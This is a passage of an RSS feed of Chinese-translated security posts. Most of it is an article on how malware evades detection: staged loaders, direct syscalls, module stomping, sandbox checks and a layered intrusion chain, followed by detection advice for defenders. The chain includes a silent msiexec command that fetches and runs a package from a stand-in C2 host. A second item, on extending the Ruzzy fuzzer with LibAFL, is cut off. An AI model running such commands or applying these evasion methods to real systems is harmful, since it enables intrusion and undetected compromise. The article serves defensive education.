0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">多态（polymorphic）恶意软件在每一次感染或复制时修改自身代码，同时保留功能。变形引擎会重写指令序列、调换互不依赖的操作顺序、用等价指令进行替换（MOV EAX, 0 → XOR EAX, EAX），并改变变量名和寄存器分配。任何两个样本都不会共享相同的字节序列，因此基于原始字节匹配的特征码，对新变种的命中数为零。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">变形（metamorphic）恶意软件更进一步 — 整个代码在两代之间会被重新编译或重写，而不仅仅是表层变化。逻辑行为得以保留，但实现完全不同。这种能力在 2018 年还是稀有且昂贵的；到 2026 年，随着 LLM 辅助代码生成开始向中等水平的威胁行为者开放，过去由于开发资源不足而无法染指变形能力的团伙，正越来越容易获得这种能力。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">加密与分阶段投放</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">落到磁盘上的载荷，如今已不再是真正的恶意软件本体。落到磁盘的是一个 loader（加载器） — 一个体积小巧、往往是商业现成组件的小程序，它的唯一职责就是从远端下载并解密真正的载荷，再在内存中执行它。loader 不停变化；核心载荷可能根本不会接触磁盘。这有时被称为 </span><em><span leaf="">stageless_（无分阶段）与 </span></em><span leaf="">staged_（分阶段）架构之分，而大多数成熟的 RAT 与 C2 框架（Cobalt Strike、Havoc、Sliver、Brute Ratel）默认采用分阶段投递，原因正是这种方式可以击败对初始投放器的特征码分析。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">转向行为检测与基于内存的检测</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">业界的回应是大力转向行为检测 — 通过 </span><em><span leaf="">做了什么</span></em><span leaf="">而非 </span><em><span leaf="">看起来像什么</span></em><span leaf="">来识别恶意活动。这个方向是对的，但也带来了它自己的挑战：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">内存扫描 — 现代 EDR 会周期性地扫描进程内存，寻找被注入的 PE 头、shellcode 模式以及异常的 RWX 内存区域。攻击者用 </span><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">module stomping_（模块踩踏，即在内存中覆盖一个合法已加载的 DLL）和 </span></em><span leaf="">heap-only shellcode_（仅驻留于堆中的 shellcode）来反制，后者刻意避开扫描器所查找的可执行内存标志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">API 调用监控 — 通过 hook NTDLL 或使用内核 ETW 来追踪 API 调用（VirtualAlloc、WriteProcessMemory、CreateRemoteThread），从而识别经典的注入链。反制手段：_直接 syscall_ — 恶意软件绕过整个用户态 hook 层，直接调用 Windows 内核的系统调用，常常通过动态解析得到的 syscall 编号实现</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">进程树分析 — 标记异常的父子关系（Word → cmd → PowerShell → 网络）。反制手段：使用 WMI、计划任务或 COM 对象来创建进程，从而避免出现可疑的父进程链</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些技术在真实入侵中是如何组合起来的</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上面提到的任何一种技术，都不会被孤立使用。现代恶意软件开发的真正艺术在于编排 — 把多种规避策略层层叠加，使得任何一个检测盲区都有另一种手段为其打掩护。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">考虑下面这条复合攻击链，它可以代表 2026 年我们在那些以谋财为目标的成熟威胁行为者身上看到的典型手法：</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><em><strong><span leaf="">复合入侵链 — 金融级（Fin-tier）威胁行为者</span></strong></em></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">初始访问：</span></strong><span leaf="">HTML 走私（HTML Smuggling） — 钓鱼邮件中包含一个 HTML 附件，其中的 JavaScript 利用 blob 在客户端构造并下载一个 ZIP 文件。没有任何恶意文件经过邮件网关；它是在受害者的浏览器里被组装出来的。ZIP 中包含一个 ISO（用以绕过 Mark-of-the-Web），ISO 中又包含一个 LNK 文件，由它来触发一条 LOLBin 链。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">执行与防御规避：</span></strong><span leaf="">LNK 拉起 msiexec.exe /q /i <a href="http://cdn-hosted-c2[.]com/package.msi." target="_blank">http://cdn-hosted-c2[.]com/package.msi.</a> 该 MSI 托管在一个合法的 CDN 服务商上，并使用一份被盗或购买而来的代码签名证书签名。MSI 的内容是：一个内嵌 shellcode 的自定义加壳 DLL 加载器，它与受害机器的 SID 绑定，因而无法在任何其他环境中执行。在引爆之前，加载器会跑一整套环境检查：虚拟磁盘大小 &gt; 80GB、内存 &gt; 4GB、存在最近的浏览器历史、鼠标在最近 60 秒内有过移动。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">载荷执行：</span></strong><span leaf="">如果所有检查都通过，加载器就会解密核心载荷 — 一个使用 LLVM 混淆过的 Malleable C2 profile 编译出的 Cobalt Strike beacon — 通过一种自定义的进程注入技术，借助 </span><em><span leaf="">间接 syscall</span></em><span leaf="">直接将其写入内存，从而避开 NTDLL 的 hook。Beacon 通过进程镂空（process hollowing）伪装成 services.exe 的子进程 svchost.exe。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">C2：</span></strong><span leaf="">通过 443 端口的 HTTPS 通信，目的地是一个注册仅 30 天的域名，配有合法的 Let&#39;s Encrypt 证书，并由 Cloudflare 进行域名前置。Beacon 上线间隔做了抖动（±40%），与正常的浏览时间模式融合。DNS 查询使用 DoH，以绕过 DNS 监控。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">请注意，这条链路上的每一层都是为了击败某一类特定的检测而设计的。HTML 走私击败邮件网关扫描；签名 MSI 击败文件信誉检查；keyed 加壳器击败沙箱分析；环境检查击败自动引爆；基于 syscall 的注入击败用户态 EDR hook；C2 域名前置击败基于网络 IOC 的匹配。这就是纵深防御 — 只不过是从攻击者的视角实现的。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">防御者的工具箱：2026 年真正管用的是什么</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上面描绘的图景并非要让人陷入绝望 — 而是要让你看清，对检测能力的投入应该投在哪里。直白点说，下面这些是真正有用的。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现代 EDR/XDR 的检测机制</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">通过 ETW（Event Tracing for Windows）实现的内核级遥测，可以绕过用户态 hook 规避问题。进程随便去 unhook NTDLL — 内核层的 ETW 仍然会捕获到 syscall。CrowdStrike、SentinelOne 这样的 EDR 严重依赖这一能力</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">凭据访问检测 — 围绕 LSASS 内存访问的行为模式（OpenProcess → ReadProcessMemory，目标为 lsass.exe），无论是哪种工具在做这件事，都是高度可靠的指标</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">内存异常检测 — 识别没有磁盘文件支撑的 RWX 内存区域、出现在意外位置的 PE 头，以及磁盘哈希与内存中映像不一致的已签名 DLL（这是模块踩踏的可靠迹象）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">基于图的进程血缘分析 — 把完整的父-子-孙进程树与网络活动、文件写入和注册表修改进行关联。当你同时在六个维度上做行为关联时，前文描述的攻击链就更难隐藏</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">域名生成算法（DGA）检测与长尾 DNS 分析 — 仅有少量主机解析的 C2 域名，即便单独看起来人畜无害，也是高置信度的异常信号</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不可替代的人类分析师角色</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">自动化检测可以可靠地拦下大宗商业级威胁。但来自有能力对手的定向入侵，不可能仅靠规则就被抓住。当一名分析师审视一张行为图，注意到 svchost.exe 正以 4 小时极其规整的间隔向一个 30 天前注册的域名发起 HTTPS 连接，并判断这值得继续追查 — 这位分析师才是没有 &#34;绕过手法&#34; 可用的最后一道防线。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这并不是关于人类直觉价值的空泛抒情，而是检测问题的结构性现实：足够老练的对手能够建模并规避自动化检测系统，因为这些系统是可预测的。而一位训练有素、会对自己的遥测数据提出意外问题的威胁猎手，是真正不可预测的。请把投资投到这种能力上。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><em><strong><span leaf="">面向 SOC 的实战建议</span></strong></em><span leaf="">围绕攻击者的技术（MITRE ATT&amp;CK TTPs）来构建检测，而不仅仅是围绕 IOC。IOC 在数小时内就会过期；基于 TTP 的检测可以保持有效达数月。把对 LOLBin 执行链、进程注入指标和异常 LSASS 访问的可见性，放在一切之上去优先建设。对高价值目标，使用内存取证（Volatility、连续模式下的 pe-sieve）作为 EDR 的补充。并且专门设计紫队演练，去测试当前的防护栈能否抓住本文所描述的复合攻击链 — 你可能会感到意外。</span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来会发生什么</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">恶意软件的开发并未停下脚步。在迈入这个十年的下半程时，有三个方向值得严肃关注：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">AI 辅助开发。</span></strong><span leaf="">LLM 正在降低变形代码、新型加壳器生成与自适应规避的开发门槛 — 威胁行为者迭代绕过技术的速度，已经超过防御者发布检测逻辑的速度。我们已经在犯罪软件论坛上看到这一点的早期迹象。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">固件与操作系统之前的植入物。</span></strong><span leaf="">UEFI bootkit 的开发，曾经是国家级行为体的专属领域（BlackLotus、CosmicStrand），如今正在扩散开来。一个能在操作系统重装之后存活、并位于任何 EDR 触及范围之下的植入物，就是规避能力的终极形态。这一领域的检测故事还很不成熟，业界对此心知肚明。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">云原生攻击路径。</span></strong><span leaf="">随着企业工作负载向云迁移，针对云元数据 API、配置错误的 IAM 角色，以及托管在云上的构建流水线的恶意软件，将越来越多地成为初始访问向量。云环境中的 LOLBin — AWS CLI、az CLI、合法的云 SDK — 正在显现出与它们 Windows 同行一样的滥用模式。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">威胁格局不会等防御者跟上节奏。唯一可持续的优势是持续学习 — 不仅理解当前有哪些技术，更要理解它们 </span><em><span leaf="">为什么</span></em><span leaf="">奏效，这样才能在下一波东西到来之前，就推理出它将是什么样子。这要求你比新闻头条与 CVE 推送走得更深。这要求一种本文努力为之贡献的技术素养。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">军备竞赛仍在继续。请确保你不是还在打去年的那场仗。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://medium.com/@paritoshblogs/inside-modern-malware-how-evasion-techniques-are-evolving-in-2026-7b7626f074b3">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e6ae248d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495988%26idx%3D1%26sn%3D278862a56d423a1b5ff006ea80d2dc57">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 May 2026 19:13:00 +0800</pubDate>
    </item>
    <item>
      <title>用 LibAFL 扩展 Ruzzy - Trail of Bits 博客</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495988&amp;idx=2&amp;sn=f91313c8f4d94208e42b47e99062753e</link>
      <description>记录将 LibAFL 集成到 Ruby 模糊测试器 Ruzzy 的全过程,深入剖析 ELF 的 .preinit_array、SanitizerCoverage 初始化时序等底层细节,并给出绕过 GNU ld 限制与修正 dummy 扩展加载顺序的实用补丁。</description>
      <content:encoded><![CDATA[<p><span>Matt Schwager</span> <span>2026-05-07 19:13</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4b70eba4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSiaSKsWueJe1pBtJydLUGJGTk7feYT7SmIj4JwpOiaEH1L2NjGAmV7kAlpvRPbbPEFvHc3e6Hm7kck4DHdqQwpqe9fNq7xR9z7M8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>记录将 LibAFL 集成到 Ruby 模糊测试器 Ruzzy 的全过程,深入剖析 ELF 的 .preinit_array、SanitizerCoverage 初始化时序等底层细节,并给出绕过 GNU ld 限制与修正 dummy 扩展加载顺序的实用补丁。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://blog.trailofbits.com/2026/04/29/extending-ruzzy-with-libafl/" target="_blank">https://blog.trailofbits.com/2026/04/29/extending-ruzzy-with-libafl/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Matt Schwager</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最近 LibAFL 在模糊测试圈大放异彩,尤其是在 LLVM 的 libFuzzer 进入维护模式之后。LibAFL 由 Rust 编写,据其官方介绍具备更高的性能、更强的模块化能力、最前沿的模糊测试技术,并且兼容 libFuzzer。基于这些原因,我打算为 Ruzzy 加上 LibAFL 支持。Ruzzy 是我们为纯 Ruby 代码以及 Ruby C 扩展打造的覆盖率引导式模糊测试器。这样一来,Ruby 开发者和安全研究人员无需改动自己的模糊测试 harness 写法,就能用上更先进、维护更活跃的模糊测试引擎。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Ruzzy 最初是基于 